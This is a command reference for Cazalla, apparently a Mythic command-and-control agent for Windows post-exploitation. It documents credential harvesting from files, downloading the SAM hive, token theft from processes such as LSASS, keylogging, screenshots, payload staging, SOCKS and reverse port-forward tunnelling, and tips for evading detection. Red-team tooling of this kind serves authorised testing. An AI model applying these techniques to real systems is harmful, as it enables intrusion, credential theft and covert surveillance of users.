Angerona/documentation-payload/Cazalla/commands.md

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Cazalla Command Reference

Complete documentation for all Cazalla agent commands.

📋 Table of Contents

• File System Commands
• Process Management Commands
• Token Operations
• Network Tunneling
• System Operations
• Control Commands

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File System Commands

ls - List Directory Contents

List directory contents with detailed file information.

Syntax:

ls [path]

Parameters:

• path (optional): Directory path to list. If omitted, lists current working directory.

Examples:

ls
ls C:\Users
ls C:\Windows\*.exe

Features:

• Supports wildcards (e.g., *.exe, *.txt)
• Displays file type (File/Directory), size, modification date, and name
• Compatible with Mythic File Browser for interactive file management
• Relative paths are resolved using current working directory

Output Format:

Type      Size        Modified              Name
------    ----------  -------------------   --------------------
File      1024       2024-01-15 10:30:00    file.txt
Directory 0          2024-01-15 09:00:00   Documents

Related: File Browser Integration

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cd - Change Directory

Change the current working directory for the agent.

Syntax:

cd <path>

Parameters:

• path (required): Directory path to change to. Supports both absolute and relative paths.

Examples:

cd C:\Users\Administrator
cd ..
cd Documents

Features:

• The new directory is automatically tracked and displayed in the Mythic UI context tabs
• Supports both absolute paths (e.g., C:\Windows\System32) and relative paths
• The current directory is used by other file system commands when relative paths are provided

Output:

Changed directory to: C:\Users\Administrator

Related: Context Tracking

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pwd - Print Working Directory

Display the current working directory of the agent.

Syntax:

pwd

Parameters: None

Examples:

pwd

Output:

C:\Users\Administrator\Documents

Features:

• Shows the absolute path that the agent is currently using as its working directory
• This directory is automatically tracked and displayed in the Mythic UI context tabs
• Useful for verifying the current location before executing file system operations

Related: Context Tracking

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cat - Read File Contents

Read and display the contents of a file on the target system.

Syntax:

cat <file_path>

Parameters:

• file_path (required): Path to the file to read. Supports both absolute and relative paths.

Examples:

cat C:\Users\Administrator\Desktop\notes.txt
cat config.ini
cat C:\Windows\System32\drivers\etc\hosts

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Automatically detects and extracts credentials from file contents including:
  • Plaintext passwords
  • NTLM hashes (format: aad3b435b51404ee:hash)
  • Domain credentials
• Detected credentials are automatically added to Mythic's credential store
• Useful for reading configuration files, log files, and credential databases

Output Example:

[cat] Reading file: C:\Users\Administrator\notes.txt
Hello, this is a test file.

[cat] Credentials detected:
- Password: MyPassword123
- Hash: aad3b435b51404ee:1234567890abcdef...

OPSEC Considerations:

• File reads are logged by EDR/XDR solutions
• Accessing sensitive files (System32, Program Files) may trigger alerts
• Consider using download for large files instead of cat

Related: Credentials Support

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cp - Copy File

Copy a file from a source location to a destination path on the target system.

Syntax:

cp <source_path> <destination_path>

Parameters:

• source_path (required): Path to the source file
• destination_path (required): Path where the file will be copied to

Examples:

cp C:\Users\file.txt C:\temp\backup.txt
cp source.exe C:\Windows\Temp\malware.exe
cp config.ini config.ini.bak

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• The destination file will be overwritten if it already exists
• Creates a 'File Write' artifact for the destination file
• Useful for creating backups, moving files, or preparing payloads in staging directories

Output:

[cp] File copied: C:\Users\file.txt -> C:\temp\backup.txt

OPSEC Considerations:

• File writes are logged by EDR/XDR solutions
• Copying to sensitive locations (System32, Windows, Program Files) may trigger alerts
• File write artifacts are automatically tracked

Related: Artifacts Support

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mkdir - Create Directory

Create a new directory on the target system.

Syntax:

mkdir <path>

Parameters:

• path (required): Directory path to create. Supports both absolute and relative paths.

Examples:

mkdir C:\temp\new_folder
mkdir staging
mkdir C:\Users\Administrator\Documents\Project

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Creates parent directories if they don't exist
• Useful for creating staging directories, temporary folders, or organizing files during post-exploitation activities

Output:

[mkdir] Directory created: C:\temp\new_folder

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rm - Delete File or Directory

Delete a file or directory from the target system.

Syntax:

rm <path>

Parameters:

• path (required): File or directory path to delete. Supports both absolute and relative paths.

Examples:

rm C:\temp\file.txt
rm C:\temp\old_folder
rm backup.log

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Can delete individual files or entire directories
• WARNING: Deletion of critical system files or directories (System32, Windows, Program Files, etc.) will be blocked for safety
• Use with caution as deleted files cannot be recovered through this command

Output:

[rm] File deleted: C:\temp\file.txt

OPSEC Considerations:

• File deletions are logged by EDR/XDR solutions
• Deleting system files may trigger alerts
• Consider the operational impact before deleting files

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download - Download File from Target

Download a file from the target system to the Mythic server.

Syntax:

download <file_path>

Parameters:

• file_path (required): Path to the file to download. Supports both absolute and relative paths.

Examples:

download C:\Users\Administrator\Desktop\important.txt
download C:\Windows\System32\config\sam
download report.pdf

Features:

• Supports files up to 2GB in size
• Files are transferred in 512KB chunks for efficient transmission
• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Compatible with Mythic File Browser for interactive file selection
• Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems

Output:

[download] Starting download: C:\Users\important.txt (1024000 bytes)
[download] Chunk 1/2 downloaded: 512000 bytes
[download] Chunk 2/2 downloaded: 512000 bytes
[download] Download complete: C:\Users\important.txt

OPSEC Considerations:

• File reads are logged by EDR/XDR solutions
• Large downloads generate network traffic and may trigger alerts
• Downloading sensitive files (SAM, config files) may trigger DLP systems
• Consider using smaller chunk sizes or splitting large files

Related: File Downloads Support

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upload - Upload File to Target

Upload a file from the Mythic server to the target system.

Syntax:

upload <file_id> <destination_path>

Parameters:

• file_id (required): File ID from Mythic's file browser. Obtained by uploading a file to Mythic first.
• destination_path (required): Destination path where the file will be written. Supports both absolute and relative paths.

Examples:

upload abc123-def456-ghi789 C:\Users\Administrator\Desktop\payload.exe
upload xyz789 C:\Windows\Temp\stager.dll
upload file123 C:\temp\data.txt

Features:

• Requires a file_id (obtained from Mythic's file browser) and a destination path where the file will be written
• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Creates a 'File Write' artifact for tracking
• Uploads to sensitive locations (System32, Windows, Program Files) or with suspicious extensions (.exe, .dll, .ps1, .bat, .vbs) may trigger detection by security tools

How to Get File ID:

1. Upload a file to Mythic:

   • Go to Files in Mythic UI
   • Click Upload File
   • Select your file
   • Note the file ID (shown in the file list)

2. Use the file ID in the upload command

Output:

[upload] Starting upload: C:\Users\Administrator\Desktop\payload.exe (2048000 bytes)
[upload] Chunk 1/4 written: 512000 bytes
[upload] Chunk 2/4 written: 512000 bytes
[upload] Chunk 3/4 written: 512000 bytes
[upload] Chunk 4/4 written: 512000 bytes
[upload] Upload complete: C:\Users\Administrator\Desktop\payload.exe

OPSEC Considerations:

• File writes are logged by EDR/XDR solutions
• Uploads to sensitive locations may trigger alerts
• Suspicious file extensions (.exe, .dll, .ps1, .bat, .vbs) are monitored
• File write artifacts are automatically tracked

Related: File Uploads Support

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Process Management Commands

ps - List Processes

List all running processes on the target system.

Syntax:

ps

Parameters: None

Examples:

ps

Features:

• Displays detailed process information including:
  • PID (Process ID)
  • Process name
  • Parent PID
  • Architecture (x64/x86)
  • Username
  • Session ID
• Automatically updates the Mythic Process Browser, allowing interactive process management (kill, steal_token, list_tokens) directly from the UI
• The Process Browser cache is automatically cleared to show only currently running processes

Output Format:

PID     Process Name          PPID    Arch    User                    Session
-----   -------------------   -----   -----   ----------------------  -------
1234    explorer.exe          1230    x64     DESKTOP-ABC\User        1
5678    chrome.exe            1234    x64     DESKTOP-ABC\User        1

Related: Process Browser Integration

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kill - Terminate Process

Terminate a process by its Process ID (PID).

Syntax:

kill <pid>

Parameters:

• pid (required): Process ID of the process to terminate.

Examples:

kill 1234
kill 5678

Features:

• The process is immediately terminated using TerminateProcess API
• Compatible with Mythic Process Browser for interactive process termination
• Automatically removes the killed process from the Process Browser view
• WARNING: Critical system processes (PID 0, 4, 8) are blocked from termination to prevent system instability
• Creates a 'Process Termination' artifact for tracking

Output:

[kill] Process terminated: explorer.exe (PID: 1234)

OPSEC Considerations:

• Process termination is logged by EDR/XDR solutions
• Terminating critical processes may trigger alerts
• Process termination artifacts are automatically tracked

Related: Process Browser Integration, Artifacts Support

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Token Operations

list_tokens - Enumerate Tokens

Enumerate and list all available security tokens from running processes on the target system.

Syntax:

list_tokens

Parameters: None

Examples:

list_tokens

Features:

• Shows detailed token information including user context, privileges, and groups for each process
• Compatible with Mythic Process Browser for interactive token enumeration
• Useful for reconnaissance to identify high-value tokens before attempting token theft
• Lower detection risk than token theft operations, but token enumeration may still be logged by security tools

Output Format:

PID     Process Name          User                    Domain           Privileges
-----   -------------------   ----------------------  --------------   -------------------
1234    lsass.exe             SYSTEM                  NT AUTHORITY      SeDebugPrivilege
5678    explorer.exe          User                    DESKTOP-ABC      SeChangeNotifyPrivilege

OPSEC Considerations:

• Token enumeration may be logged by security tools
• Lower risk than token theft, but still detectable
• Use for reconnaissance before attempting token theft

Related: Process Browser Integration, Token Support

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steal_token - Steal Process Token

Steal and impersonate the security token from a target process.

Syntax:

steal_token <pid>

Parameters:

• pid (required): Process ID of the process to steal the token from.

Examples:

steal_token 1234
steal_token 5678

Features:

• Opens the target process, extracts its token, and impersonates it to assume the security context (user, privileges, groups) of that process
• Compatible with Mythic Process Browser for interactive token theft
• The impersonation context is automatically tracked and displayed in the Mythic UI
• CRITICAL OPSEC RISK: Token theft is heavily monitored by EDR/XDR solutions, especially when targeting LSASS or other critical processes
• Always requires approval from another operator
• Prefer make_token for domain credentials when possible

Output:

[steal_token] Token stolen from process: explorer.exe (PID: 1234)
[steal_token] Impersonating user: DESKTOP-ABC\User

OPSEC Considerations:

• CRITICAL OPSEC RISK: Token theft is heavily monitored
• Targeting LSASS or critical processes triggers high-priority alerts
• Always requires operator approval (OPSEC pre-check blocks execution)
• Process access is logged by EDR/XDR solutions
• Consider using make_token instead when you have credentials

Related: OPSEC Checking, Token Support, Process Browser Integration

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make_token - Create Token from Credentials

Create a new security token using plaintext credentials and impersonate it.

Syntax:

make_token <domain> <username> <password> [logon_type]

Parameters:

• domain (required): Domain name (or empty string for local machine)
• username (required): Username to authenticate as
• password (required): Password for authentication
• logon_type (optional): Logon type (default: 9 - NewCredentials)

Examples:

make_token "" Administrator P@ssw0rd123
make_token DOMAIN user01 MyPassword
make_token WORKGROUP localuser Secret123 9

Features:

• Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API
• The logon_type parameter (default: 9 - NewCredentials) determines the authentication type
• The impersonation context is automatically tracked and displayed in the Mythic UI
• Less detectable than steal_token as it doesn't require accessing LSASS memory, but may still generate authentication logs
• Use rev2self to revert to the original token

Output:

[make_token] Creating token for: DOMAIN\User01
[make_token] Authentication successful
[make_token] Impersonating user: DOMAIN\User01

OPSEC Considerations:

• Authentication events are logged by Windows Event Log
• Less detectable than token theft, but still generates logs
• Authentication failures may trigger alerts
• Use rev2self after completing operations to reduce detection risk

Related: Token Support, Context Tracking

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rev2self - Revert Token Impersonation

Revert token impersonation back to the original process token.

Syntax:

rev2self

Parameters: None

Examples:

rev2self

Features:

• This command stops impersonating any stolen or created token and returns to the agent's original security context
• The impersonation context in the Mythic UI is automatically cleared
• Use this command after completing operations that required elevated privileges to return to a less-privileged context and reduce detection risk

Output:

[rev2self] Reverted to original token
[rev2self] Current user: DESKTOP-ABC\OriginalUser

Related: Token Support, Context Tracking

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whoami - Display Current Context

Display the current security context of the agent.

Syntax:

whoami

Parameters: None

Examples:

whoami

Features:

• Shows the username and domain of the active security token
• If token impersonation is active (via steal_token or make_token), displays the impersonated user context
• Otherwise, displays the process token context
• Useful for verifying that token operations succeeded and for confirming the current privilege level before executing commands that require specific permissions

Output:

Current user: DOMAIN\User01
Domain: DOMAIN

Related: Token Support, Context Tracking

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Network Tunneling

socks - SOCKS5 Proxy

Start or stop a SOCKS5 proxy server on the Mythic server.

Syntax:

socks {"action":"start","port":7002}
socks {"action":"stop","port":7002}

Parameters:

• action (required): Either "start" or "stop"
• port (optional): Port number for the SOCKS proxy (default: 7002)

Examples:

socks {"action":"start","port":7002}
socks {"action":"stop","port":7002}

Features:

• When started, the SOCKS proxy allows routing network traffic through the agent to access internal network resources
• The default port is 7002
• The proxy runs on the Mythic server and uses the agent as a tunnel for network connections
• WARNING: SOCKS proxies generate continuous network traffic and may be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
• Use non-standard ports and be aware of high bandwidth usage

Output:

[socks] SOCKS proxy started on port 7002

OPSEC Considerations:

• SOCKS proxies generate continuous network traffic
• May be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
• Use non-standard ports
• Be aware of high bandwidth usage
• Consider the operational impact before starting

Related: SOCKS Proxy Support, Usage Examples

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rpfwd - Reverse Port Forwarding

Start or stop reverse port forwarding (RPFWD).

Syntax:

rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}
rpfwd {"action":"stop","port":8080}

Parameters:

• action (required): Either "start" or "stop"
• port (required for start): Local port on the agent to listen on (default: 8080)
• remote_host (required for start): Remote host to forward connections to
• remote_port (required for start): Remote port to forward connections to

Examples:

rpfwd {"action":"start","port":8080,"remote_host":"192.168.1.100","remote_port":80}
rpfwd {"action":"start","port":3306,"remote_host":"10.0.0.50","remote_port":3306}
rpfwd {"action":"stop","port":8080}

Features:

• When started, the agent listens on a local port on the target system
• Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination (remote_host:remote_port)
• Default local port: 8080
• Useful for accessing services on the target network that are not directly reachable from Mythic (e.g., internal services, databases, management interfaces)
• WARNING: Reverse port forwarding creates persistent network connections and may be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
• Avoid using privileged ports (<1024) which require elevated privileges

Output:

[rpfwd] Reverse port forwarding started on port 8080
[rpfwd] Forwarding connections to: 192.168.1.100:80

OPSEC Considerations:

• Reverse port forwarding creates persistent network connections
• May be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
• Avoid using privileged ports (<1024) which require elevated privileges
• Consider the operational impact before starting

Related: Reverse Port Forwarding Support, Usage Examples

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System Operations

shell - Execute Shell Command

Execute arbitrary shell commands on the target system by spawning cmd.exe.

Syntax:

shell <command>

Parameters:

• command (required): Shell command to execute.

Examples:

shell whoami
shell dir C:\Users
shell ipconfig /all

Features:

• The command is executed in a non-interactive shell and the output is captured and returned
• HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions
• Command execution and command-line arguments are logged by security tools
• Consider using built-in Cazalla commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC
• Always requires approval from another operator before execution

Output:

Microsoft Windows [Version 10.0.19041.1234]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>whoami
desktop-abc\administrator

OPSEC Considerations:

• HIGH OPSEC RISK: Spawns cmd.exe which is heavily monitored
• Command execution and arguments are logged by EDR/XDR solutions
• Always requires operator approval (OPSEC pre-check blocks execution)
• Consider using built-in Cazalla commands instead when possible

Related: OPSEC Checking

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screenshot - Capture Screenshot

Capture a screenshot of the primary desktop display and upload it to the Mythic server.

Syntax:

screenshot

Parameters: None

Examples:

screenshot

Features:

• Uses Windows GDI API (BitBlt) to capture the screen content
• The screenshot is automatically uploaded as a file to Mythic for viewing
• Requires an active interactive desktop session
• May be detected by screen capture detection mechanisms, behavioral analysis, and data loss prevention (DLP) systems
• Large screenshots may trigger network monitoring alerts

Output:

[screenshot] Capturing screenshot...
[screenshot] Screenshot captured: 1920x1080 pixels
[screenshot] Uploading to Mythic...
[screenshot] Screenshot uploaded successfully

OPSEC Considerations:

• Screen capture is detected by many security tools
• May trigger behavioral analysis alerts
• Large screenshots generate network traffic
• Requires an active interactive desktop session

Related: Usage Examples

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keylog_start - Start Keylogger

Start a low-level keyboard logger that captures all keystrokes from the system.

Syntax:

keylog_start

Parameters: None

Examples:

keylog_start

Features:

• Captures all keystrokes from the system and streams them to Mythic in real-time
• Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level
• CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions, anti-malware, and behavioral analysis engines
• Detection is likely within minutes or hours
• Always requires approval from a lead operator
• Consider alternatives such as credential theft, browser credential extraction, or clipboard monitoring for better OPSEC

Output:

[keylog_start] Starting keylogger...
[keylog_start] Keyboard hook installed
[keylog_start] Keylogger active

OPSEC Considerations:

• CRITICAL OPSEC RISK: Extremely detectable
• Detection is likely within minutes or hours
• Always requires operator approval (OPSEC pre-check blocks execution)
• Consider alternatives for better OPSEC

Related: OPSEC Checking, Keylogging Support

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keylog_stop - Stop Keylogger

Stop the active keyboard logger and remove the keyboard hooks.

Syntax:

keylog_stop

Parameters: None

Examples:

keylog_stop

Features:

• This command safely terminates keylogging operations and cleans up the hooking mechanisms
• Use this command when keylogging is no longer needed to reduce detection risk and free system resources

Output:

[keylog_stop] Stopping keylogger...
[keylog_stop] Keyboard hook removed
[keylog_stop] Keylogger stopped

Related: Keylogging Support

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Control Commands

sleep - Adjust Beacon Interval

Change the agent's sleep interval (check-in frequency) and optional jitter percentage.

Syntax:

sleep {"seconds":30,"jitter":10}

Parameters:

• seconds (required): Sleep interval in seconds
• jitter (optional): Jitter percentage (0-100)

Examples:

sleep {"seconds":30,"jitter":10}
sleep {"seconds":60}
sleep {"seconds":10,"jitter":30}

Features:

• The sleep interval determines how long the agent waits between check-ins with the Mythic server
• Jitter adds random variation to the sleep interval to avoid predictable timing patterns
• Lower sleep values provide more responsive interaction but increase network activity and detection risk
• Higher sleep values reduce detection risk but make the agent less responsive
• Jitter helps evade behavioral detection based on timing analysis

Output:

[sleep] Sleep interval set to: 30 seconds
[sleep] Jitter set to: 10%

Recommendations:

• Initial deployment: 30-60 seconds with 10-30% jitter
• Interactive operations: 5-10 seconds with 10-20% jitter
• Stealth mode: 60-120 seconds with 20-40% jitter

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exit - Terminate Agent

Instruct the agent to exit and terminate.

Syntax:

exit

Parameters: None

Examples:

exit

Features:

• The agent will perform cleanup operations and then terminate its process
• This command is permanent - the agent will stop running and will not check in again
• Use this command when you want to remove the agent from the target system or when operational requirements dictate agent termination
• Compatible with Mythic's callback table exit functionality

Output:

[exit] Terminating agent...
[exit] Agent exited

Warning: This command permanently terminates the agent. The agent will not automatically reconnect.

---

Command Parameter Formats

JSON Parameters

Some commands require JSON-formatted parameters:

• socks: {"action":"start","port":7002}
• rpfwd: {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}
• sleep: {"seconds":30,"jitter":10}
• make_token: Dictionary with domain, username, password, logon_type

String Parameters

Most commands use simple string parameters:

• ls C:\Users
• cd C:\Windows\System32
• cat file.txt
• kill 1234

Path Handling

• Absolute paths: C:\Users\Administrator\Desktop\file.txt
• Relative paths: file.txt (resolved using current working directory)
• Path normalization: Double backslashes are automatically normalized

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Command Output Formatting

Commands output information in a consistent format:

• Success messages: [command] Operation completed: details
• Error messages: [command] Error: description (Code: error_code)
• Progress messages: [command] Progress: current/total

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Related Documentation

• Getting Started Guide - Installation and first steps
• Features Overview - Detailed feature explanations
• OPSEC Guide - Security considerations
• Usage Examples - Practical examples
• Troubleshooting Guide - Common issues and solutions

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Last Updated: 2024